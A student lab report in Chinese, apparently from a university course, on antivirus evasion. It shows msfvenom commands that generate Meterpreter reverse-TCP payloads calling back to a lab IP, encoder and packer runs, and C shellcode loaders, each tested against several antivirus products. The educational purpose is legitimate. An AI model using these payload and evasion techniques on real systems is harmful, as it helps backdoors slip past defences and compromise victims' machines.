zoukankan      html  css  js  c++  java
  • 2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践

    2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践

    实验内容

    1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

    2. 通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)


    基础问题回答

    1. 杀软是如何检测出恶意代码的?

    • 基于特征码

    基于特征码检测恶意代码举例:

    “wannacry”访问特定的空的url测试是否被人注意到,杀毒软件av在检测恶意代码时就可以通过检测是否有访问特定的url的特征码判断是否是恶意代码

    入侵检测系统IDS对包的检测:从外部流向内部特定端口的包,在已经建立tcp连接的情况下,如果IDS发现有特定字符串(特征码)就会认为系统被攻击

    基于特征码检测恶意代码就要求杀毒软件商建立尽可能大的特征库

    • 启发式

    特征码是可以清晰判断恶意代码的,而启发式是一种模糊匹配,如果发现有行为的问题,就会认为是恶意代码

    启发式与特征码的比较:

    特征码的研究落后,就是说只有恶意代码出现后才能有对应的特征码出现,但是特征码有通用性;

    启发式的判断标准是一个问题即在什么情况下认为是恶意代码并提出报告,另外启发式会有更大的系统开销。

    • 基于行为
    基于行为可以认为是引入行为监控的启发式

    2. 免杀是做什么?

    一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

    3. 免杀的基本方法有哪些?

    • 改变特征

    • 改变行为

    除了常见的反弹连接、隧道、加密之外,杀毒软件av经常是在读写硬盘时检查恶意代码,就可以考虑直接把恶意代码读入内存

    另外可以先把恶意代码组成一个简单的通信模块避开杀毒软件的检测,然后通过下载热补丁的方式把功能模块从网上下载下来

    在软件开发阶段就故意留下的漏洞,在需要时对漏洞进行攻击,这是杀毒软件难以防范的

    通过独立开发的方式开发不流行的恶意代码也是杀毒软件难以发现得


    实践总结与体会

    单独使用Msfvenom编码器多次编码的免杀效果和不做编码的免杀效果相比并没有优势

    在本次实验中用了多种免杀,半手工编写C语言调用Shellcode打造恶意软件的免杀效果是最好的

    但是用virusscan检测还是会有一些杀毒软件会判定是恶意代码,所以希望通过多种方式组合看看能不能提高免杀效果

    根据实验指导书里提供的思路,首先考虑的是对shellcode本身进行处理

    之前用编码器进行编码是一种处理方式,但是效果并不好,这是可能是因为编码本身就带有特征

    假设:杀毒软件是基于代码特征来判断恶意代码

    就要把代码特征处理掉,也许并不需要复杂的加密运算,按位异或或者直接把代码调整一下顺序应该就可以了

    验证一下猜想

    1. 在使用msfvenom生成shellcode,不写后门而是写一个简单的helloworld,把shellcode定义为一个常量并不使不用

    程序运行起来了,360并没有提示

    那么360应该不是通过检查读入内存的数据来判断恶意代码的

    2. 用shellcode写后门程序编译生成控制台程序

    程序运行的时候没有提示,但是结束运行之后有提示

    3. 对shellcode进行简单移位处理,这也可以认为是用古典密码移位密码算法进行加密

    本来猜测360应该是应该有提示的,但是事实上并没有,因为这一步的程序的行为和上一步的是一样的,只是对shellcode做了一点处理

    所以估计360对恶意代码的判断应该是综合考虑行为特征和代码特征才做出的判断,单独的代码特征和行为特征都不能让360认定是恶意代码


    离实战还缺些什么技术或步骤

    网络攻击分为预攻击,攻击,后攻击三个阶段

    首先是预攻击:要对目标做信息搜集和分析,获取对方的操作系统、网络结构、域名、IP、端口和服务情况等等,分析信息,发掘漏洞,寻找突破口

    然后是攻击:本次实验的主要内容是构建恶意代码,而如何将恶意代码植入目标的计算机中也是这个阶段的任务

    最后是后攻击:攻击成功后要做善后处理,擦除痕迹,保证后门长期存在并可用且不被发现


    实践过程记录

    1. Msfvenom使用编码器

    MsfvenomMetasploit平台下用来编码payloads免杀的工具

    首先使用msfvenom直接生成meterpreter可执行文件

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.131 PORT=443 -f exe > 5228met.exe
    

    VirusScan测试结果

    然后使用msfvenom编码生成meterpreter可执行文件

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘x00’ LHOST=192.168.232.131 LPORT=443 -f exe > 5228met-encoded.exe
    

    VirusScan测试结果

    最后使用msfvenom多次编码生成meterpreter可执行文件

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b ‘x00’ LHOST=192.168.232.131 LPORT=443 -f exe > 5228met-encoded10.exe
    

    VirusScan测试结果

    2. Veil-Evasion

    3. C语言调用Shellcode

    通过半手工的方式打造恶意软件

    3.1 Linux平台交叉编译Windows应用

    首先使用msfvenom生成shellcode数组

    # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.131 LPORT=443 -f c
    

    然后使用gedit用编写c语言恶意代码5228met-CrossCompling.c

    unsigned char buf[]=
    //省略的shellcode数组具体内容
    int main()
    {
        int (*func)()=(int(*)())buf;
        func();
    }
    

    最后使用mingw-w64将c语言文件生成exe文件

    i686-w64-mingw32-g++ 5228met-CrossCompling.c -o 5228met-CrossCompling.exe
    

    如果提示找不到命令的话就是没有安装mingw-w64,通过以下命令进行安装mingw-w64

    apt-get update
    apt-get install mingw-w64
    

    VirusScan测试结果

    360杀毒测试结果

    360杀毒检测恶意代码的方式比较玄学,直接对恶意代码右键进行扫描并不会发现这是恶意代码,但是恶意代码就放着不运行,过一会360杀毒就会提示发现恶意代码

    我估计右键扫描和定期扫描的检测方式不太一样,考虑到是不运行的情况下检测出恶意代码,那么应该就不存在行为检测,而是特征码匹配得出的结果。

    MicrosoftSercurityEssential测试结果

    3.2 VisualStudio

    首先使用msfvenom生成shellcode数组

    # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.131 LPORT=443 -f c
    

    其次使用VisualStudio编写c语言恶意代码

    注意生成shellcode数组是unsigned char buf[]而代码中的数组是const char met[]

    // callshellcode.cpp : 定义控制台应用程序的入口点。
    
    #include "stdafx.h"
    #include <windows.h>
    #include <winbase.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    const char met[] =
    //省略的shellcode数组具体内容
    
    int main()
    {
    	DWORD old = 0;
    	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
    	INT32 * addr;
    	addr =(INT32*) &met;
    
    	__asm;
    	{
    		call addr;
    	}
    	return 0;
    }
    

    然后编译运行

    连接测试结果

    最后生成exe文件

    在项目属性-->配置属性-->C/C++-->代码生成-->运行时库设置为多线程调试(/MTd)-->确定

    确定之后,再重新编译一次便可以将生成的exe,在没有安装vs2008的机器上使用。这种设置是将项目所有的代码、需要的库文件全部都加入到生成的exe中,也可发现,这种设置的exe文件比较大。

    另外,还可以看见,在下拉菜单中,还有一个选项:“多线程(/MT)” ,这个选项也是将所需要的一些文件、代码全部都打包进exe,但是是生成没有调试信息的exe。mtd是添加了调试信息的,mt是没有添加调试信息的。

    连接测试结果

    360杀毒测试结果

    VirusScan测试结果

    4. 加壳

    4.1 压缩壳UPX

    upx 5228met.exe -o 5228metupxed.exe
    

    VirusScan测试结果

    4.2 加密壳Hyperion

    PSP时间统计

    步骤 耗时 百分比
    需求分析 20min 8%
    设计 40min 16%
    代码实现 120min 50%
    测试 20min 8%
    总结分析 40min 16%
  • 相关阅读:
    (二)、一步一步学GTK+之窗口
    phpcms v9 评论的bug.
    为discuz x2.5添加播放附件(mp4)的方法
    code::blocks + C + lua 编译环境
    C语言从声卡录音的一个demo
    泛型集合(.NET 2.0)
    VS2008对ASP.NET引用的外部JS文件不能调试
    for循环和foreach
    CSS之DIV上下左右居中
    GridView控件相关(来自互联网)
  • 原文地址:https://www.cnblogs.com/besti20155228/p/8749051.html
Copyright © 2011-2022 走看看